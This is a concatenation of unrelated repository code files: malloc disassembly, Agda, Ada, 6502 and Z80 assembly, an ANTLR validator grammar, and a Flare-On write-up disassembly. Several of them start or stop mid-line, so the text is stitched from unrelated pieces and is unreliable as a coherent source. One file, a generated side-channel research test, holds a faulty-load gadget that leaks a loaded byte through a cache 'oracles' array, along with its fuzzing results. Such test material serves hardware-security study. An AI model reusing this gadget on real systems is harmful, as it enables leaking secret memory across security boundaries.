45 fc mov -0x4(%ebp),%eax 6ae: 89 10 mov %edx,(%eax) 6b0: eb 08 jmp 6ba <free+0xd7> } else p->s.ptr = bp; 6b2: 8b 45 fc mov -0x4(%ebp),%eax 6b5: 8b 55 f8 mov -0x8(%ebp),%edx 6b8: 89 10 mov %edx,(%eax) freep = p; 6ba: 8b 45 fc mov -0x4(%ebp),%eax 6bd: a3 a0 0a 00 00 mov %eax,0xaa0 } 6c2: 90 nop 6c3: c9 leave 6c4: c3 ret 000006c5 <morecore>: static Header* morecore(uint nu) { 6c5: 55 push %ebp 6c6: 89 e5 mov %esp,%ebp 6c8: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 6cb: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 6d2: 77 07 ja 6db <morecore+0x16> nu = 4096; 6d4: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 6db: 8b 45 08 mov 0x8(%ebp),%eax 6de: c1 e0 03 shl $0x3,%eax 6e1: 83 ec 0c sub $0xc,%esp 6e4: 50 push %eax 6e5: e8 69 fc ff ff call 353 <sbrk> 6ea: 83 c4 10 add $0x10,%esp 6ed: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 6f0: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 6f4: 75 07 jne 6fd <morecore+0x38> return 0; 6f6: b8 00 00 00 00 mov $0x0,%eax 6fb: eb 26 jmp 723 <morecore+0x5e> hp = (Header*)p; 6fd: 8b 45 f4 mov -0xc(%ebp),%eax 700: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 703: 8b 45 f0 mov -0x10(%ebp),%eax 706: 8b 55 08 mov 0x8(%ebp),%edx 709: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 70c: 8b 45 f0 mov -0x10(%ebp),%eax 70f: 83 c0 08 add $0x8,%eax 712: 83 ec 0c sub $0xc,%esp 715: 50 push %eax 716: e8 c8 fe ff ff call 5e3 <free> 71b: 83 c4 10 add $0x10,%esp return freep; 71e: a1 a0 0a 00 00 mov 0xaa0,%eax } 723: c9 leave 724: c3 ret 00000725 <malloc>: void* malloc(uint nbytes) { 725: 55 push %ebp 726: 89 e5 mov %esp,%ebp 728: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 72b: 8b 45 08 mov 0x8(%ebp),%eax 72e: 83 c0 07 add $0x7,%eax 731: c1 e8 03 shr $0x3,%eax 734: 83 c0 01 add $0x1,%eax 737: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 73a: a1 a0 0a 00 00 mov 0xaa0,%eax 73f: 89 45 f0 mov %eax,-0x10(%ebp) 742: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 746: 75 23 jne 76b <malloc+0x46> base.s.ptr = freep = prevp = &base; 748: c7 45 f0 98 0a 00 00 movl $0xa98,-0x10(%ebp) 74f: 8b 45 f0 mov -0x10(%ebp),%eax 752: a3 a0 0a 00 00 mov %eax,0xaa0 757: a1 a0 0a 00 00 mov 0xaa0,%eax 75c: a3 98 0a 00 00 mov %eax,0xa98 base.s.size = 0; 761: c7 05 9c 0a 00 00 00 movl $0x0,0xa9c 768: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 76b: 8b 45 f0 mov -0x10(%ebp),%eax 76e: 8b 00 mov (%eax),%eax 770: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 773: 8b 45 f4 mov -0xc(%ebp),%eax 776: 8b 40 04 mov 0x4(%eax),%eax 779: 3b 45 ec cmp -0x14(%ebp),%eax 77c: 72 4d jb 7cb <malloc+0xa6> if(p->s.size == nunits) 77e: 8b 45 f4 mov -0xc(%ebp),%eax 781: 8b 40 04 mov 0x4(%eax),%eax 784: 3b 45 ec cmp -0x14(%ebp),%eax 787: 75 0c jne 795 <malloc+0x70> prevp->s.ptr = p->s.ptr; 789: 8b 45 f4 mov -0xc(%ebp),%eax 78c: 8b 10 mov (%eax),%edx 78e: 8b 45 f0 mov -0x10(%ebp),%eax 791: 89 10 mov %edx,(%eax) 793: eb 26 jmp 7bb <malloc+0x96> else { p->s.size -= nunits; 795: 8b 45 f4 mov -0xc(%ebp),%eax 798: 8b 40 04 mov 0x4(%eax),%eax 79b: 2b 45 ec sub -0x14(%ebp),%eax 79e: 89 c2 mov %eax,%edx 7a0: 8b 45 f4 mov -0xc(%ebp),%eax 7a3: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 7a6: 8b 45 f4 mov -0xc(%ebp),%eax 7a9: 8b 40 04 mov 0x4(%eax),%eax 7ac: c1 e0 03 shl $0x3,%eax 7af: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 7b2: 8b 45 f4 mov -0xc(%ebp),%eax 7b5: 8b 55 ec mov -0x14(%ebp),%edx 7b8: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 7bb: 8b 45 f0 mov -0x10(%ebp),%eax 7be: a3 a0 0a 00 00 mov %eax,0xaa0 return (void*)(p + 1); 7c3: 8b 45 f4 mov -0xc(%ebp),%eax 7c6: 83 c0 08 add $0x8,%eax 7c9: eb 3b jmp 806 <malloc+0xe1> } if(p == freep) 7cb: a1 a0 0a 00 00 mov 0xaa0,%eax 7d0: 39 45 f4 cmp %eax,-0xc(%ebp) 7d3: 75 1e jne 7f3 <malloc+0xce> if((p = morecore(nunits)) == 0) 7d5: 83 ec 0c sub $0xc,%esp 7d8: ff 75 ec pushl -0x14(%ebp) 7db: e8 e5 fe ff ff call 6c5 <morecore> 7e0: 83 c4 10 add $0x10,%esp 7e3: 89 45 f4 mov %eax,-0xc(%ebp) 7e6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7ea: 75 07 jne 7f3 <malloc+0xce> return 0; 7ec: b8 00 00 00 00 mov $0x0,%eax 7f1: eb 13 jmp 806 <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7f3: 8b 45 f4 mov -0xc(%ebp),%eax 7f6: 89 45 f0 mov %eax,-0x10(%ebp) 7f9: 8b 45 f4 mov -0xc(%ebp),%eax 7fc: 8b 00 mov (%eax),%eax 7fe: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 801: e9 6d ff ff ff jmp 773 <malloc+0x4e> } 806: c9 leave 807: c3 ret
Data/Either/Multi.agda
Lolirofle/stuff-in-agda
6
8776
module Data.Either.Multi where open import Data open import Data.Either import Data.Tuple.Raiseᵣ.Functions as Raise open import Data.Tuple.RaiseTypeᵣ open import Data.Tuple.RaiseTypeᵣ.Functions open import Data.Tuple using (_⨯_ ; _,_) open import Function.Multi open import Function.Multi.Functions import Lvl import Lvl.MultiFunctions as Lvl open import Numeral.Finite open import Numeral.Natural open import Type Alt : (n : ℕ) → ∀{ℓ𝓈} → TypesOfTypes{n}(ℓ𝓈) ⇉ Type{Lvl.⨆(ℓ𝓈)} Alt(n) = binaryTypeRelator₊(n)(_‖_)(Empty) pattern alt₀ x = _‖_.Left x pattern alt₁ x = _‖_.Right(alt₀ x) pattern alt₂ x = _‖_.Right(alt₁ x) pattern alt₃ x = _‖_.Right(alt₂ x) pattern alt₄ x = _‖_.Right(alt₃ x) pattern alt₅ x = _‖_.Right(alt₄ x) pattern alt₆ x = _‖_.Right(alt₅ x) pattern alt₇ x = _‖_.Right(alt₆ x) pattern alt₈ x = _‖_.Right(alt₇ x) pattern alt₉ x = _‖_.Right(alt₈ x) pattern alt₁,₂ x = _‖_.Right(x) pattern alt₂,₃ x = _‖_.Right(alt₁,₂ x) pattern alt₃,₄ x = _‖_.Right(alt₂,₃ x) pattern alt₄,₅ x = _‖_.Right(alt₃,₄ x) pattern alt₅,₆ x = _‖_.Right(alt₄,₅ x) pattern alt₆,₇ x = _‖_.Right(alt₅,₆ x) pattern alt₇,₈ x = _‖_.Right(alt₆,₇ x) pattern alt₈,₉ x = _‖_.Right(alt₇,₈ x) {- -- TODO: Move or generalize uncurry uncurryTypes : (n : ℕ) → ∀{ℓ𝓈}{ℓ}{B : Type{ℓ}} → (TypesOfTypes{𝐒(n)}(ℓ𝓈) ⇉ B) → (Types(ℓ𝓈) → B) uncurryTypes(𝟎) f = f uncurryTypes(𝐒(n)) f (x , xs) = uncurryTypes(n) (f(x)) xs -- TODO: Problem with the type. Not normalizing correctly alt : ∀{n}{ℓ𝓈}{As : Types(ℓ𝓈)} → (i : 𝕟(𝐒(n))) → (index i As) → uncurryTypes(n) (Alt(𝐒(n)){ℓ𝓈}) As alt {0} 𝟎 x = x alt {1} 𝟎 x = Left x alt {1} (𝐒 𝟎) x = Right x alt {𝐒(𝐒(n))} 𝟎 x = {!Left x!} alt {𝐒(𝐒(n))} (𝐒 i) x = {!Right(alt {𝐒(n)} i x)!} -}
puzzle_16/src/puzzle_16.adb
AdaForge/Advent_of_Code_2020
0
2301
procedure Puzzle_16 is begin null; end Puzzle_16;
src/main/fragment/mos6502-common/pvom1=pvoc1_plus__deref_pwuz2.asm
jbrandwood/kickc
2
175890
<gh_stars>1-10 ldy #0 lda #<{c1} clc adc ({z2}),y sta {m1} iny lda #>{c1} adc ({z2}),y sta {m1}+1
sound/sfxasm/87.asm
NatsumiFox/Sonic-3-93-Nov-03
7
94862
<gh_stars>1-10 87_Header: sHeaderInit ; Z80 offset is $CE6A sHeaderPatch 87_Patches sHeaderTick $01 sHeaderCh $01 sHeaderSFX $80, $05, 87_FM5, $07, $04 87_FM5: sPatFM $00 dc.b nEb3, $07 sLoop $00, $04, 87_FM5 dc.b nB2, $12 sStop 87_Patches: ; Patch $00 ; $F3 ; $10, $70, $3C, $3A, $1F, $1F, $1F, $1F ; $17, $1F, $1F, $17, $00, $00, $00, $00 ; $FF, $08, $0F, $FF, $33, $1B, $33, $80 spAlgorithm $03 spFeedback $06 spDetune $01, $03, $07, $03 spMultiple $00, $0C, $00, $0A spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $17, $1F, $1F, $17 spSustainLv $0F, $00, $00, $0F spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $08, $0F spTotalLv $33, $33, $1B, $00
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_913.asm
ljhsiun2/medusa
9
85134
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x63b, %r15 clflush (%r15) nop nop nop nop cmp $38347, %rbp movw $0x6162, (%r15) nop nop nop nop nop sub $49851, %rax lea addresses_normal_ht+0x7a50, %rsi lea addresses_D_ht+0x3e50, %rdi clflush (%rsi) nop and $11658, %r10 mov $61, %rcx rep movsw nop add %rbp, %rbp lea addresses_WT_ht+0x168e0, %r15 nop sub %rcx, %rcx movb $0x61, (%r15) nop nop nop xor $21922, %rax lea addresses_WC_ht+0x1e8b4, %rsi lea addresses_UC_ht+0x11dd0, %rdi nop nop nop nop nop cmp $16639, %rax mov $23, %rcx rep movsw nop cmp %rdi, %rdi lea addresses_WC_ht+0x18c98, %rsi nop nop nop nop nop dec %rbp mov (%rsi), %r10w xor %rax, %rax lea addresses_normal_ht+0x8250, %rax nop nop nop nop nop add %rcx, %rcx movb (%rax), %r10b nop nop nop cmp $43288, %rbp lea addresses_UC_ht+0x1c198, %rsi lea addresses_normal_ht+0x4220, %rdi nop nop xor %rbp, %rbp mov $102, %rcx rep movsw nop nop cmp %rbp, %rbp lea addresses_A_ht+0x17250, %rsi lea addresses_D_ht+0x17250, %rdi nop nop dec %rax mov $21, %rcx rep movsb nop nop nop nop dec %r10 lea addresses_normal_ht+0x11650, %r15 nop nop nop nop nop cmp $56926, %rax movw $0x6162, (%r15) nop nop nop nop nop xor %rsi, %rsi lea addresses_WC_ht+0x2b1c, %rsi nop nop nop xor %r10, %r10 mov (%rsi), %rdi sub $22684, %rbp lea addresses_UC_ht+0x1c650, %rbp cmp %rax, %rax movb $0x61, (%rbp) xor %rdi, %rdi lea addresses_WC_ht+0x2670, %rsi lea addresses_A_ht+0x3c50, %rdi clflush (%rdi) nop nop nop nop and $28092, %r10 mov $10, %rcx rep movsq nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0x18d90, %rsi lea addresses_UC_ht+0xdc90, %rdi nop nop inc %r11 mov $53, %rcx rep movsw nop nop nop nop xor $28654, %r10 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi // Store mov $0xfb8, %rcx and $44201, %rdi movw $0x5152, (%rcx) nop nop dec %r13 // Store lea addresses_WT+0x1d1ac, %r13 nop nop nop xor %rbx, %rbx movb $0x51, (%r13) cmp %rbx, %rbx // Store lea addresses_WT+0x19750, %r8 nop nop nop nop nop cmp %rbp, %rbp mov $0x5152535455565758, %rdi movq %rdi, (%r8) nop nop nop add $5055, %rbp // Store lea addresses_A+0x171f0, %rdi nop nop nop nop sub $9591, %rbx mov $0x5152535455565758, %r13 movq %r13, (%rdi) nop nop nop nop and %rcx, %rcx // Faulty Load lea addresses_D+0x17250, %r13 nop add %rbp, %rbp vmovntdqa (%r13), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rbx lea oracles, %rbp and $0xff, %rbx shlq $12, %rbx mov (%rbp,%rbx,1), %rbx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': True, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 4}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 3}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 6}} {'44': 4202, '49': 94, '00': 17533} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 49 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 44 44 44 00 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 49 00 00 44 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 44 44 44 00 00 44 44 00 00 00 00 00 00 00 44 00 44 44 00 00 44 00 00 00 00 00 00 00 00 00 44 00 44 00 00 44 00 00 44 00 00 00 44 44 44 00 00 44 44 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 44 00 44 44 44 00 44 00 00 44 00 44 00 44 49 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 44 00 00 44 00 00 44 00 44 44 00 00 44 00 00 44 00 44 44 00 00 44 44 44 44 00 00 44 00 00 00 00 00 00 00 44 00 44 44 44 00 00 44 00 00 44 44 44 00 00 44 44 00 44 00 00 00 44 44 00 44 00 44 44 00 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 44 00 44 44 44 00 44 44 00 44 00 00 44 00 44 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 00 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 44 44 00 44 00 00 44 44 44 00 00 44 00 00 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 44 00 44 44 44 44 00 44 44 44 00 00 44 00 00 44 00 44 00 44 44 00 00 00 00 00 00 00 00 00 44 00 44 44 00 00 44 00 00 44 00 00 44 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 00 00 00 44 00 00 00 00 00 44 00 44 44 44 00 00 44 44 44 00 00 00 00 00 00 00 00 00 44 00 00 44 00 44 44 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 00 00 44 00 00 44 00 44 00 44 00 00 44 00 44 00 44 00 44 44 00 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 44 44 00 44 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 44 00 44 00 00 00 00 00 00 44 44 00 00 00 00 00 44 44 44 44 00 44 00 44 00 00 00 00 00 44 00 44 00 44 44 00 44 44 00 00 44 00 00 44 00 00 44 00 44 00 00 44 00 44 00 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 44 00 44 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 00 44 00 00 44 00 44 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
examples/gpio/main.adb
ekoeppen/MSP430_Generic_Ada_Drivers
0
21263
with MSPGD.Board; use MSPGD.Board; procedure Main is pragma Preelaborate; begin Init; loop if BUTTON.Is_Set then LED_GREEN.Set; else LED_GREEN.Clear; end if; end loop; end Main;
programs/oeis/307/A307469.asm
neoneye/loda
22
6383
<reponame>neoneye/loda ; A307469: a(n) = 2*a(n-1) + 6*a(n-2) for n >= 2, a(0) = 1, a(1) = 5. ; 1,5,16,62,220,812,2944,10760,39184,142928,520960,1899488,6924736,25246400,92041216,335560832,1223368960,4460102912,16260419584,59281456640,216125430784,787939601408,2872631787520,10472901183488,38181593092096,139200593285120 add $0,2 mov $4,2 lpb $0 sub $0,1 mov $2,$3 mov $3,$1 mul $3,3 add $4,$2 mul $4,2 mov $1,$4 lpe sub $1,8 div $1,8 add $1,1 mov $0,$1
Validator.g4
centripetum/parser
0
1952
grammar Validator; prog: stat+; stat: expr NEWLINE | NEWLINE; expr: expr AND expr | expr OR expr | ID MATCHES REGEX | ID DOES_NOT_MATCH REGEX | ID CONTAINS STRING | ID DOES_NOT_CONTAIN STRING | ID IS_NULL | ID IS_NOT_NULL | ID IS_A_BOOLEAN | ID IS_A_BOOLEAN_OR_INDETERMINATE | ID IS_A_DATE | ID IS_A_TIMESTAMP | ID IS_A_TIME | ID IS_A_LIST | ID IS_A_NUMBER | ID IS_A_STRING | ID IS_A_URL | ID IS_AN_EMAIL_ADDRESS | ID IS_AN_INTEGER | ID IS_AFTER datetime | ID IS_BEFORE datetime | ID IS_EQUAL_TO value | ID IS_NOT_EQUAL_TO value | ID IS_GREATER_THAN number | ID IS_GREATER_THAN_OR_EQUAL_TO number | ID IS_LESS_THAN number | ID IS_LESS_THAN_OR_EQUAL_TO number | ID IS_ON_OR_AFTER datetime | ID IS_ON_OR_BEFORE datetime | ID IS_ON datetime | ID IS_NOT_ON datetime | ID IS_ONE_OF valueList | ID IS_NOT_ONE_OF valueList | '(' expr ')'; value: NULL | number | bool | datetime | STRING | CHAR; number: FLOAT | INT; bool: TRUE | FALSE; datetime: DATE | TIMESTAMP | TIME; valueList: EMPTY | nonEmptyValueList; nonEmptyValueList: value | value ',' nonEmptyValueList; AND: 'AND'; CONTAINS: 'CONTAINS'; DOES_NOT_CONTAIN: 'DOES_NOT_CONTAIN'; DOES_NOT_MATCH: 'DOES_NOT_MATCH'; IS_A_BOOLEAN: 'IS_A_BOOLEAN'; IS_A_BOOLEAN_OR_INDETERMINATE: 'IS_A_BOOLEAN_OR_INDETERMINATE'; IS_A_DATE: 'IS_A_DATE'; IS_A_TIMESTAMP: 'IS_A_TIMESTAMP'; IS_A_LIST: 'IS_A_LIST'; IS_A_NUMBER: 'IS_A_NUMBER'; IS_A_STRING: 'IS_A_STRING'; IS_A_TIME: 'IS_A_TIME'; IS_A_URL: 'IS_A_URL'; IS_AFTER: 'IS_AFTER'; IS_AN_EMAIL_ADDRESS: 'IS_AN_EMAIL_ADDRESS'; IS_AN_INTEGER: 'IS_AN_INTEGER'; IS_BEFORE: 'IS_BEFORE'; IS_EQUAL_TO: 'IS_EQUAL_TO'; IS_GREATER_THAN: 'IS_GREATER_THAN'; IS_GREATER_THAN_OR_EQUAL_TO: 'IS_GREATER_THAN_OR_EQUAL_TO'; IS_LESS_THAN: 'IS_LESS_THAN'; IS_LESS_THAN_OR_EQUAL_TO: 'IS_LESS_THAN_OR_EQUAL_TO'; IS_NOT_EQUAL_TO: 'IS_NOT_EQUAL_TO'; IS_NOT_NULL: 'IS_NOT_NULL'; IS_NOT_ON: 'IS_NOT_ON'; IS_NOT_ONE_OF: 'IS_NOT_ONE_OF'; IS_NULL: 'IS_NULL'; IS_ON: 'IS_ON'; IS_ON_OR_AFTER: 'IS_ON_OR_AFTER'; IS_ON_OR_BEFORE: 'IS_ON_OR_BEFORE'; IS_ONE_OF: 'IS_ONE_OF'; MATCHES: 'MATCHES'; NOT: 'NOT'; OR: 'OR'; EMPTY: '[]'; // Null NULL: [Nn][Uu][Ll][Ll]; // Numbers INT: DIGIT+; FLOAT: DIGIT+ '.' DIGIT* // match 1. 39. 3.14159 etc... | '.' DIGIT+; // match .1 .14159 // Booleans TRUE: [Tt][Rr][Uu][Ee]; FALSE: [Ff][Aa][Ll][Ss][Ee]; // Date/time TIMESTAMP: DATE 'T' TIME '.' DIGIT DIGIT DIGIT 'Z'; DATE: YEAR '-' MONTHDAY; TIME: HOUR ':' MINUTE ':' SECOND; YEAR: DIGIT DIGIT DIGIT DIGIT; MONTHDAY: JAN | FEB | MAR | APR | MAY | JUN | JUL | AUG | SEP | OCT | NOV | DEC; JAN: '01-0' [1-9] | '01-' [1-2] DIGIT | '01-' [3][0-1]; FEB: '02-0' [1-9] | '02-' [1-2] DIGIT; MAR: '03-0' [1-9] | '03-' [1-2] DIGIT | '03-' [3][0-1]; APR: '04-0' [1-9] | '04-' [1-2] DIGIT | '04-30'; MAY: '05-0' [1-9] | '05-' [1-2] DIGIT | '05-' [3][0-1]; JUN: '06-0' [1-9] | '06-' [1-2] DIGIT | '06-30'; JUL: '07-0' [1-9] | '07-' [1-2] DIGIT | '07-' [3][0-1]; AUG: '08-0' [1-9] | '08-' [1-2] DIGIT | '08-' [3][0-1]; SEP: '09-0' [1-9] | '09-' [1-2] DIGIT | '09-30'; OCT: '10-0' [1-9] | '10-' [1-2] DIGIT | '10-' [3][0-1]; NOV: '11-0' [1-9] | '11-' [1-2] DIGIT | '11-30'; DEC: '12-0' [1-9] | '12-' [1-2] DIGIT | '12-' [3][0-1]; HOUR: [0-1] DIGIT | [2][0-3]; MINUTE: [0-5] DIGIT; SECOND: [0-5] DIGIT; // Variable ID: '{' [_a-z][a-zA-Z0-9_]* '}'; // Strings STRING: '"' (ESC | .)*? '"'; CHAR: [a-zA-Z]; // Regular expressions REGEX: '/' (ESC | .)*? '/'; // Comments LINE_COMMENT: '//' .*? '\r'? '\n' -> skip; // Match "//" stuff '\n' COMMENT: '/*' .*? '*/' -> skip; // Match "/*" stuff "*/" NEWLINE: '\r'? '\n'; WS: [ \t]+ -> skip; fragment ESC: '\\"' | '\\\\'; // 2-char sequences \" and \\ fragment DIGIT: [0-9];
libsrc/games/aquarius/bit_close.asm
andydansby/z88dk-mk2
1
164451
; $Id: bit_close.asm,v 1.2 2002/04/17 21:30:24 dom Exp $ ; ; Mattel Aquarius 1 bit sound functions stub ; ; void bit_close(); ; ; <NAME> - Dec 2001 ; XLIB bit_close .bit_close ret
writeups/flare-on/2019/11/disassembly.asm
Washi1337/ctf-writeups
24
102573
<gh_stars>10-100 offset | op | disassembly ---------+----+-------------------------- 0000: | 00 | clearmemory 0001: | 11 | v0 = [0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000] 0023: | 11 | v1 = [0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000] 0045: | 11 | v3 = [0x1a1b1b1b, 0x1a131111, 0x11111111, 0x11111115, 0x1a1b1b1b, 0x1a131111, 0x11111111, 0x11111115] 0067: | 11 | v4 = [0x10101010, 0x10101010, 0x08040804, 0x02011010, 0x10101010, 0x10101010, 0x08040804, 0x02011010] 0089: | 11 | v5 = [0x00000000, 0x00000000, 0xb9b9bfbf, 0x04131000, 0x00000000, 0x00000000, 0xb9b9bfbf, 0x04131000] 00ab: | 11 | v6 = [0x2f2f2f2f, 0x2f2f2f2f, 0x2f2f2f2f, 0x2f2f2f2f, 0x2f2f2f2f, 0x2f2f2f2f, 0x2f2f2f2f, 0x2f2f2f2f] 00cd: | 11 | v10 = [0x01400140, 0x01400140, 0x01400140, 0x01400140, 0x01400140, 0x01400140, 0x01400140, 0x01400140] 00ef: | 11 | v11 = [0x00011000, 0x00011000, 0x00011000, 0x00011000, 0x00011000, 0x00011000, 0x00011000, 0x00011000] 0111: | 11 | v12 = [0xffffffff, 0x0c0d0e08, 0x090a0405, 0x06000102, 0xffffffff, 0x0c0d0e08, 0x090a0405, 0x06000102] 0133: | 11 | v13 = [0xffffffff, 0xffffffff, 0x00000006, 0x00000005, 0x00000004, 0x00000002, 0x00000001, 0x00000000] 0155: | 11 | v16 = [0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff] 0177: | 11 | v17 = [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19] 0199: | 11 | v18 = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5] 01bb: | 11 | v19 = [0x00000003, 0x00000002, 0x00000001, 0x00000000, 0x00000007, 0x00000006, 0x00000005, 0x00000004] 01dd: | 11 | v20 = [0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 